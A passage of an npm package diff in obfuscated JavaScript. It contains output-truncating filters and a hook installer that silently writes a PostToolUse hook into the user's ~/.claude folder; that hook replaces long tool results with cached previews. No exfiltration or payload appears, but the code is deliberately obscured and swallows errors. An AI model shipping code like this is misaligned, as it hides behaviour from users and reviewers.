_0x51911c['length']>_0x653a2b[_0x455d57(0xdd)]&&_0x653a2b[_0x455d57(0x107)]('\x0a...\x20('+_0x16c7d2+_0x455d57(0xe5)+_0x47f601+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x653a2b[_0x455d57(0xc5)]('\x0a');}function filterCat(_0x35105e,_0xb83aa1=''){const _0x2fcb03=a0_0x10ff8c,_0x48a4a8=extractFilename(_0xb83aa1);try{if(_0x48a4a8&&isFeatureEnabled('lock')){const _0x11cf90=filterLockFile(_0x35105e,_0x48a4a8);if(_0x11cf90)return _0x11cf90;}if(isFeatureEnabled(_0x2fcb03(0xb3))){const _0x45b216=filterBinaryOrMinified(_0x35105e,_0x48a4a8);if(_0x45b216)return _0x45b216;}if(isFeatureEnabled('json_crusher')){const _0xdae54e=(0x0,generic_1['smartCrushJson'])(_0x35105e);if(_0xdae54e)return _0xdae54e;}const _0x53b46d=filterJsonMinify(_0x35105e);if(_0x53b46d)return _0x53b46d;if(_0x48a4a8&&isFeatureEnabled(_0x2fcb03(0x121))){const _0x349260=path[_0x2fcb03(0x118)](_0x48a4a8)[_0x2fcb03(0xd5)](),_0x4ef5f8=[_0x2fcb03(0xfe),_0x2fcb03(0xed),_0x2fcb03(0xf4),_0x2fcb03(0xff),_0x2fcb03(0xd8),_0x2fcb03(0xc4),_0x2fcb03(0xf8),_0x2fcb03(0x140),'.c',_0x2fcb03(0x108),_0x2fcb03(0x144),'.rb','.swift',_0x2fcb03(0xdc)];if(_0x4ef5f8[_0x2fcb03(0x125)](_0x349260)){const _0x41732b=_0x35105e[_0x2fcb03(0x122)]('\x0a');if(_0x41732b[_0x2fcb03(0xdd)]>0x64){const _0x69da09=[];_0x69da09[_0x2fcb03(0x107)](_0x2fcb03(0xe7)+path[_0x2fcb03(0x137)](_0x48a4a8)+'\x20('+_0x41732b['length']+'\x20lines)'),_0x69da09[_0x2fcb03(0x107)]('');for(const _0x45e52a of _0x41732b){const _0x4ffae5=_0x45e52a['trim']();if(_0x4ffae5['startsWith'](_0x2fcb03(0xf9))||_0x4ffae5['startsWith'](_0x2fcb03(0xb9))||_0x4ffae5[_0x2fcb03(0xea)](_0x2fcb03(0x133))||_0x4ffae5[_0x2fcb03(0x13b)](/=\s*require\(/)||_0x4ffae5['startsWith'](_0x2fcb03(0x10f))||_0x4ffae5[_0x2fcb03(0xea)](_0x2fcb03(0x11e))||_0x4ffae5[_0x2fcb03(0xea)](_0x2fcb03(0xdb)))_0x69da09[_0x2fcb03(0x107)](_0x45e52a);else{if(_0x4ffae5[_0x2fcb03(0x13b)](/^(export\s+)?(async\s+)?function\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^(export\s+)?(default\s+)?class\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^(export\s+)?(type|interface|enum)\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^(async\s+)?def\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^func\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^type\s+\w+\s+(struct|interface)/)||_0x4ffae5['match'](/^(pub\s+)?(async\s+)?fn\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^(pub\s+)?(struct|enum|trait|impl)\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^(public|private|protected|static)\s+/))_0x69da09[_0x2fcb03(0x107)](_0x45e52a);else{if(_0x4ffae5[_0x2fcb03(0xea)](_0x2fcb03(0xf0))&&!_0x4ffae5[_0x2fcb03(0x125)]('=>')&&_0x4ffae5['length']<0x78)_0x69da09['push'](_0x45e52a);else _0x4ffae5['startsWith']('@')&&!_0x4ffae5[_0x2fcb03(0xea)]('@param')&&!_0x4ffae5[_0x2fcb03(0xea)](_0x2fcb03(0x142))&&_0x69da09['push'](_0x45e52a);}}}_0x69da09[_0x2fcb03(0x107)](''),_0x69da09['push']('('+_0x41732b[_0x2fcb03(0xdd)]+'\x20lines\x20total,\x20'+(_0x69da09[_0x2fcb03(0xdd)]-0x2)+_0x2fcb03(0x134));const _0x50a268=_0x69da09['join']('\x0a');if(_0x50a268[_0x2fcb03(0xdd)]<_0x35105e[_0x2fcb03(0xdd)])return _0x50a268;}}}}catch{}let _0x2c0b65=(0x0,generic_1[_0x2fcb03(0xe9)])(_0x35105e);if(_0x48a4a8){const _0x25d0a7=path[_0x2fcb03(0x118)](_0x48a4a8)[_0x2fcb03(0xd5)]();_0x2c0b65=(0x0,generic_1[_0x2fcb03(0xbe)])(_0x2c0b65,_0x25d0a7);}const _0x418560=_0x2c0b65[_0x2fcb03(0x122)]('\x0a');if(_0x418560[_0x2fcb03(0xdd)]<=0x64)return _0x2c0b65;const _0x5480d4=[];return _0x5480d4['push'](..._0x418560[_0x2fcb03(0xcb)](0x0,0x32)),_0x5480d4[_0x2fcb03(0x107)](_0x2fcb03(0x12d)+(_0x418560[_0x2fcb03(0xdd)]-0x50)+_0x2fcb03(0xb7)),_0x5480d4[_0x2fcb03(0x107)](..._0x418560['slice'](-0x1e)),_0x5480d4[_0x2fcb03(0x107)]('\x0a('+_0x418560[_0x2fcb03(0xdd)]+_0x2fcb03(0x111)),_0x5480d4[_0x2fcb03(0xc5)]('\x0a');}function filterGrep(_0x46c930){const _0x5639ee=a0_0x10ff8c,_0x3a7e0a=_0x46c930[_0x5639ee(0x122)]('\x0a')['filter'](_0x51cf73=>_0x51cf73[_0x5639ee(0xe1)]()[_0x5639ee(0xdd)]>0x0);if(_0x3a7e0a[_0x5639ee(0xdd)]===0x0)return _0x5639ee(0x147);if(_0x3a7e0a[_0x5639ee(0xdd)]<=0x32)return _0x46c930['trim']();const _0x56cce3={},_0x3daa7f=[];for(const _0x48f462 of _0x3a7e0a){const _0x2c8a3c=_0x48f462['indexOf'](':');if(_0x2c8a3c>0x0&&_0x2c8a3c<0xc8){const _0x4bf8b8=_0x48f462[_0x5639ee(0x148)](0x0,_0x2c8a3c);if(_0x4bf8b8['includes']('/')||_0x4bf8b8[_0x5639ee(0x125)]('\x5c')||_0x4bf8b8[_0x5639ee(0x125)]('.')){if(!_0x56cce3[_0x4bf8b8])_0x56cce3[_0x4bf8b8]=[];_0x56cce3[_0x4bf8b8][_0x5639ee(0x107)](_0x48f462[_0x5639ee(0x148)](_0x2c8a3c+0x1)[_0x5639ee(0xe1)]());continue;}}_0x3daa7f[_0x5639ee(0x107)](_0x48f462);}const _0x371a75=[],_0x45942e=Object[_0x5639ee(0x116)](_0x56cce3);if(_0x45942e[_0x5639ee(0xdd)]>0x0){const _0x42672d=0x14,_0x185e18=_0x45942e[_0x5639ee(0xcb)](0x0,_0x42672d);for(const _0x3a39b2 of _0x185e18){const _0x95540e=_0x56cce3[_0x3a39b2];if(_0x95540e[_0x5639ee(0xdd)]<=0x3)for(const _0x2d0e95 of _0x95540e){_0x371a75[_0x5639ee(0x107)](_0x3a39b2+':\x20'+_0x2d0e95);}else _0x371a75[_0x5639ee(0x107)](_0x3a39b2+':\x20'+_0x95540e[0x0]),_0x371a75[_0x5639ee(0x107)](_0x3a39b2+':\x20...\x20('+_0x95540e[_0x5639ee(0xdd)]+_0x5639ee(0x124));}_0x45942e[_0x5639ee(0xdd)]>_0x42672d&&_0x371a75[_0x5639ee(0x107)](_0x5639ee(0xd1)+(_0x45942e['length']-_0x42672d)+_0x5639ee(0x119));}if(_0x3daa7f[_0x5639ee(0xdd)]>0x0){const _0x3e45b4=0x1e;_0x371a75[_0x5639ee(0x107)](..._0x3daa7f['slice'](0x0,_0x3e45b4)),_0x3daa7f[_0x5639ee(0xdd)]>_0x3e45b4&&_0x371a75[_0x5639ee(0x107)](_0x5639ee(0xd1)+(_0x3daa7f[_0x5639ee(0xdd)]-_0x3e45b4)+'\x20more\x20matches');}const _0xa0e1d8=_0x3a7e0a[_0x5639ee(0xdd)];return _0x371a75['push']('\x0a('+_0xa0e1d8+_0x5639ee(0x139)+(_0x45942e['length']||'?')+_0x5639ee(0x11b)),_0x371a75[_0x5639ee(0xc5)]('\x0a');}function a0_0x30d5(_0x16c18b,_0xe06e31){_0x16c18b=_0x16c18b-0xb0;const _0x8f002e=a0_0x8f00();let _0x30d5e4=_0x8f002e[_0x16c18b];return _0x30d5e4;}function filterFind(_0x49d12c){const _0x322873=a0_0x10ff8c,_0x330db2=_0x49d12c['split']('\x0a')[_0x322873(0xc1)](_0x5a5535=>_0x5a5535[_0x322873(0xe1)]()[_0x322873(0xdd)]>0x0);if(_0x330db2[_0x322873(0xdd)]===0x0)return _0x322873(0x11f);if(_0x330db2[_0x322873(0xdd)]<=0x32)return _0x49d12c['trim']();const _0x342675={};for(const _0x21b733 of _0x330db2){const _0x423531=path[_0x322873(0x104)](_0x21b733[_0x322873(0xe1)]())||'.';_0x342675[_0x423531]=(_0x342675[_0x423531]||0x0)+0x1;}const _0x519e04=Object[_0x322873(0xdf)](_0x342675)[_0x322873(0xde)]((_0x274136,_0xc01b8f)=>_0xc01b8f[0x1]-_0x274136[0x1]),_0x4674a4=[_0x330db2[_0x322873(0xdd)]+_0x322873(0x13e)+_0x519e04[_0x322873(0xdd)]+_0x322873(0xfa),''],_0x47ce4d=0x1e;for(const [_0x32b61f,_0x3b4f07]of _0x519e04[_0x322873(0xcb)](0x0,_0x47ce4d)){_0x4674a4[_0x322873(0x107)]('\x20\x20'+_0x32b61f+_0x322873(0xe2)+_0x3b4f07+'\x20files)');}return _0x519e04[_0x322873(0xdd)]>_0x47ce4d&&_0x4674a4[_0x322873(0x107)]('\x20\x20...\x20+'+(_0x519e04[_0x322873(0xdd)]-_0x47ce4d)+_0x322873(0xf1)),_0x4674a4[_0x322873(0xc5)]('\x0a');}
|
package/hooks/claude-hook.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';var a0_0x580250=a0_0x1400;function a0_0x1400(_0x17f723,_0x1f8cc4){var _0x1c20c5=a0_0x1c20();return a0_0x1400=function(_0x140048,_0x171217){_0x140048=_0x140048-0x182;var _0x35be74=_0x1c20c5[_0x140048];return _0x35be74;},a0_0x1400(_0x17f723,_0x1f8cc4);}function a0_0x1c20(){var _0x4d3c4d=['5157224zukUXX','writable','7031IWNBfV','__importStar','.claude','getOwnPropertyDescriptor','getOwnPropertyNames','path','default','create','mkdirSync','1671qaZMDm','__setModuleDefault','installClaudeHooks','1964475UOGhea','length','110PwYlSB','4072FitRTM','//\x20TrimPrompt\x20Native\x20PostToolUse\x20Hook\x20for\x20Claude\x20Code\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x27os\x27);\x0a\x0amodule.exports\x20=\x20async\x20function\x20postToolUse(event)\x20{\x0a\x20\x20try\x20{\x0a\x20\x20\x20\x20if\x20(!event\x20||\x20!event.result)\x20return\x20event;\x0a\x20\x20\x20\x20let\x20contentStr\x20=\x20typeof\x20event.result\x20===\x20\x27string\x27\x20?\x20event.result\x20:\x20JSON.stringify(event.result);\x0a\x20\x20\x20\x20if\x20(contentStr.length\x20>\x20500)\x20{\x0a\x20\x20\x20\x20\x20\x20const\x20baseDir\x20=\x20path.join(os.homedir(),\x20\x27.trimprompt\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20cacheDir\x20=\x20path.join(baseDir,\x20\x27cache\x27);\x0a\x20\x20\x20\x20\x20\x20if\x20(!fs.existsSync(cacheDir))\x20fs.mkdirSync(cacheDir,\x20{\x20recursive:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20const\x20chunkId\x20=\x20\x27chunk_\x27\x20+\x20Math.random().toString(36).substring(2,\x2011);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20rawTokens\x20=\x20Math.ceil(contentStr.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20snippet\x20=\x20contentStr.substring(0,\x20200).replace(/\x5cn/g,\x20\x27\x20\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20replacement\x20=\x20`>\x20[!NOTE]\x5cn>\x20**[TrimPrompt\x20Context\x20Offloaded]**\x20Raw\x20tool\x20output\x20(${contentStr.length.toLocaleString()}\x20chars)\x20side-cached\x20locally.\x5cn>\x20Preview:\x20${snippet}...\x5cn>\x20Retrieve\x20raw:\x20\x5c`trim\x20retrieve\x20${chunkId}\x5c``;\x0a\x20\x20\x20\x20\x20\x20const\x20compressedTokens\x20=\x20Math.ceil(replacement.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20const\x20savedTokens\x20=\x20Math.max(0,\x20rawTokens\x20-\x20compressedTokens);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20fs.writeFileSync(path.join(cacheDir,\x20chunkId\x20+\x20\x27.json\x27),\x20JSON.stringify({\x0a\x20\x20\x20\x20\x20\x20\x20\x20chunk_id:\x20chunkId,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_tokens:\x20rawTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20compressed_tokens:\x20compressedTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20created_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20last_accessed_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20summary:\x20`Summary:\x20Tool\x20result\x20offloaded\x20(${rawTokens}\x20tokens).`,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_payload:\x20contentStr\x0a\x20\x20\x20\x20\x20\x20},\x20null,\x202));\x0a\x0a\x20\x20\x20\x20\x20\x20if\x20(typeof\x20event.result\x20===\x20\x27string\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(event.result\x20&&\x20typeof\x20event.result\x20===\x20\x27object\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result.content\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20//\x20Update\x20sessions_state.json\x20with\x20hook\x20savings\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20statePath\x20=\x20path.join(baseDir,\x20\x27sessions_state.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20state\x20=\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(statePath))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x20state\x20=\x20JSON.parse(fs.readFileSync(statePath,\x20\x27utf8\x27))\x20||\x20{};\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20//\x20Find\x20latest\x20session\x20file\x20for\x20\x27claude\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20claudeDirs\x20=\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27projects\x27),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27history\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20];\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestFullPath\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestTime\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20dir\x20of\x20claudeDirs)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(dir))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20scanDir\x20=\x20(currentDir,\x20depth\x20=\x200)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(depth\x20>\x206)\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20entries\x20=\x20fs.readdirSync(currentDir,\x20{\x20withFileTypes:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20entry\x20of\x20entries)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20full\x20=\x20path.join(currentDir,\x20entry.name);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.isDirectory())\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(full,\x20depth\x20+\x201);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(entry.isFile()\x20&&\x20!entry.name.startsWith(\x27.\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.name.endsWith(\x27.jsonl\x27)\x20||\x20entry.name.endsWith(\x27.json1\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20stat\x20=\x20fs.statSync(full);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(stat.mtimeMs\x20>\x20latestTime)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestTime\x20=\x20stat.mtimeMs;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestFullPath\x20=\x20full;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(dir);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(latestFullPath)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20existing\x20=\x20state[latestFullPath]\x20||\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20prevHook\x20=\x20existing.hookSavedTokens\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newHook\x20=\x20prevHook\x20+\x20savedTokens;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalOfficial\x20=\x20existing.officialCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalAuto\x20=\x20existing.autoCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20state[latestFullPath]\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lineCount:\x20existing.lineCount\x20||\x201,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20activeSavedTokens:\x20finalOfficial\x20+\x20finalAuto\x20+\x20newHook,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20sideCacheSaved:\x20existing.sideCacheSaved\x20||\x200,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20officialCompactSaved:\x20finalOfficial,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20autoCompactSaved:\x20finalAuto,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20hookSavedTokens:\x20newHook\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(statePath,\x20JSON.stringify(state,\x20null,\x202),\x20\x27utf8\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20}\x0a\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20return\x20event;\x0a};\x0a','2977713vYYQWa','defineProperty','2851644VnQwZD','post_tool_use.js','get','hasOwnProperty','__esModule','join','__createBinding','configurable','call','writeFileSync','existsSync','2414034vDscKy'];a0_0x1c20=function(){return _0x4d3c4d;};return a0_0x1c20();}(function(_0x30ea3f,_0x2be805){var _0x44fac9=a0_0x1400,_0x1882e2=_0x30ea3f();while(!![]){try{var _0x5f12d5=parseInt(_0x44fac9(0x1a2))/0x1*(-parseInt(_0x44fac9(0x18f))/0x2)+-parseInt(_0x44fac9(0x18a))/0x3*(-parseInt(_0x44fac9(0x190))/0x4)+parseInt(_0x44fac9(0x18d))/0x5+parseInt(_0x44fac9(0x194))/0x6+parseInt(_0x44fac9(0x19f))/0x7+-parseInt(_0x44fac9(0x1a0))/0x8+-parseInt(_0x44fac9(0x192))/0x9;if(_0x5f12d5===_0x2be805)break;else _0x1882e2['push'](_0x1882e2['shift']());}catch(_0x4b8dad){_0x1882e2['push'](_0x1882e2['shift']());}}}(a0_0x1c20,0x66032));var __createBinding=this&&this[a0_0x580250(0x19a)]||(Object['create']?function(_0x10b18a,_0x3be06f,_0x91c7a5,_0xf52939){var _0x1eeadf=a0_0x580250;if(_0xf52939===undefined)_0xf52939=_0x91c7a5;var _0x4f4459=Object[_0x1eeadf(0x184)](_0x3be06f,_0x91c7a5);(!_0x4f4459||(_0x1eeadf(0x196)in _0x4f4459?!_0x3be06f[_0x1eeadf(0x198)]:_0x4f4459[_0x1eeadf(0x1a1)]||_0x4f4459[_0x1eeadf(0x19b)]))&&(_0x4f4459={'enumerable':!![],'get':function(){return _0x3be06f[_0x91c7a5];}}),Object['defineProperty'](_0x10b18a,_0xf52939,_0x4f4459);}:function(_0x17234a,_0x7becc3,_0xda63e3,_0x3c96fc){if(_0x3c96fc===undefined)_0x3c96fc=_0xda63e3;_0x17234a[_0x3c96fc]=_0x7becc3[_0xda63e3];}),__setModuleDefault=this&&this[a0_0x580250(0x18b)]||(Object[a0_0x580250(0x188)]?function(_0xbf911c,_0x571cca){var _0x34a793=a0_0x580250;Object[_0x34a793(0x193)](_0xbf911c,_0x34a793(0x187),{'enumerable':!![],'value':_0x571cca});}:function(_0x48053c,_0x13d612){var _0x4f726b=a0_0x580250;_0x48053c[_0x4f726b(0x187)]=_0x13d612;}),__importStar=this&&this[a0_0x580250(0x182)]||(function(){var _0x276d4e=function(_0x4df9db){var _0x55241e=a0_0x1400;return _0x276d4e=Object[_0x55241e(0x185)]||function(_0x4adb67){var _0x50e6c7=_0x55241e,_0x2c7f23=[];for(var _0x3376ae in _0x4adb67)if(Object['prototype'][_0x50e6c7(0x197)][_0x50e6c7(0x19c)](_0x4adb67,_0x3376ae))_0x2c7f23[_0x2c7f23[_0x50e6c7(0x18e)]]=_0x3376ae;return _0x2c7f23;},_0x276d4e(_0x4df9db);};return function(_0x5cf3cc){var _0x2ffbf3=a0_0x1400;if(_0x5cf3cc&&_0x5cf3cc[_0x2ffbf3(0x198)])return _0x5cf3cc;var _0x41896d={};if(_0x5cf3cc!=null){for(var _0x518467=_0x276d4e(_0x5cf3cc),_0x58f8b5=0x0;_0x58f8b5<_0x518467[_0x2ffbf3(0x18e)];_0x58f8b5++)if(_0x518467[_0x58f8b5]!==_0x2ffbf3(0x187))__createBinding(_0x41896d,_0x5cf3cc,_0x518467[_0x58f8b5]);}return __setModuleDefault(_0x41896d,_0x5cf3cc),_0x41896d;};}());Object[a0_0x580250(0x193)](exports,'__esModule',{'value':!![]}),exports[a0_0x580250(0x18c)]=installClaudeHooks;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x580250(0x186))),os=__importStar(require('os'));function installClaudeHooks(){var _0x12b9ba=a0_0x580250;try{const _0xb9814a=path[_0x12b9ba(0x199)](os['homedir'](),_0x12b9ba(0x183),'hooks');!fs[_0x12b9ba(0x19e)](_0xb9814a)&&fs[_0x12b9ba(0x189)](_0xb9814a,{'recursive':!![]});const _0x3b7b87=path[_0x12b9ba(0x199)](_0xb9814a,_0x12b9ba(0x195)),_0x2b2be1=_0x12b9ba(0x191);fs[_0x12b9ba(0x19d)](_0x3b7b87,_0x2b2be1,'utf8');}catch(_0x2d8c40){}}
|
|
1
|
+
'use strict';var a0_0x5cab57=a0_0x3ea3;(function(_0xb0d83,_0x235168){var _0x44cb03=a0_0x3ea3,_0x1bd6f5=_0xb0d83();while(!![]){try{var _0x4d42e0=-parseInt(_0x44cb03(0x13d))/0x1*(-parseInt(_0x44cb03(0x144))/0x2)+parseInt(_0x44cb03(0x145))/0x3+parseInt(_0x44cb03(0x141))/0x4+parseInt(_0x44cb03(0x12f))/0x5*(parseInt(_0x44cb03(0x12e))/0x6)+parseInt(_0x44cb03(0x131))/0x7*(-parseInt(_0x44cb03(0x12d))/0x8)+parseInt(_0x44cb03(0x147))/0x9*(parseInt(_0x44cb03(0x134))/0xa)+-parseInt(_0x44cb03(0x139))/0xb;if(_0x4d42e0===_0x235168)break;else _0x1bd6f5['push'](_0x1bd6f5['shift']());}catch(_0x2d12fc){_0x1bd6f5['push'](_0x1bd6f5['shift']());}}}(a0_0x4487,0x39829));var __createBinding=this&&this[a0_0x5cab57(0x12c)]||(Object[a0_0x5cab57(0x12b)]?function(_0x526bce,_0x2fdcd6,_0x1bcc69,_0x57f13){var _0x5f46e6=a0_0x5cab57;if(_0x57f13===undefined)_0x57f13=_0x1bcc69;var _0x5c7572=Object[_0x5f46e6(0x13a)](_0x2fdcd6,_0x1bcc69);(!_0x5c7572||(_0x5f46e6(0x12a)in _0x5c7572?!_0x2fdcd6[_0x5f46e6(0x146)]:_0x5c7572[_0x5f46e6(0x137)]||_0x5c7572[_0x5f46e6(0x133)]))&&(_0x5c7572={'enumerable':!![],'get':function(){return _0x2fdcd6[_0x1bcc69];}}),Object[_0x5f46e6(0x13c)](_0x526bce,_0x57f13,_0x5c7572);}:function(_0x10ce05,_0x53fef5,_0x36e3f2,_0x3ad767){if(_0x3ad767===undefined)_0x3ad767=_0x36e3f2;_0x10ce05[_0x3ad767]=_0x53fef5[_0x36e3f2];}),__setModuleDefault=this&&this[a0_0x5cab57(0x136)]||(Object[a0_0x5cab57(0x12b)]?function(_0x31598e,_0x5e54c4){var _0x18b990=a0_0x5cab57;Object[_0x18b990(0x13c)](_0x31598e,_0x18b990(0x148),{'enumerable':!![],'value':_0x5e54c4});}:function(_0x3c1de7,_0x43db2a){var _0x277e83=a0_0x5cab57;_0x3c1de7[_0x277e83(0x148)]=_0x43db2a;}),__importStar=this&&this[a0_0x5cab57(0x126)]||(function(){var _0xe26c48=function(_0x29d78e){var _0x2db9a5=a0_0x3ea3;return _0xe26c48=Object[_0x2db9a5(0x13b)]||function(_0x11ddea){var _0x44a100=_0x2db9a5,_0x519708=[];for(var _0x6b0cf7 in _0x11ddea)if(Object[_0x44a100(0x130)][_0x44a100(0x13e)][_0x44a100(0x143)](_0x11ddea,_0x6b0cf7))_0x519708[_0x519708[_0x44a100(0x140)]]=_0x6b0cf7;return _0x519708;},_0xe26c48(_0x29d78e);};return function(_0x73d38f){var _0x40b2c9=a0_0x3ea3;if(_0x73d38f&&_0x73d38f[_0x40b2c9(0x146)])return _0x73d38f;var _0x535d9d={};if(_0x73d38f!=null){for(var _0x1f79dd=_0xe26c48(_0x73d38f),_0x524c30=0x0;_0x524c30<_0x1f79dd[_0x40b2c9(0x140)];_0x524c30++)if(_0x1f79dd[_0x524c30]!==_0x40b2c9(0x148))__createBinding(_0x535d9d,_0x73d38f,_0x1f79dd[_0x524c30]);}return __setModuleDefault(_0x535d9d,_0x73d38f),_0x535d9d;};}());function a0_0x4487(){var 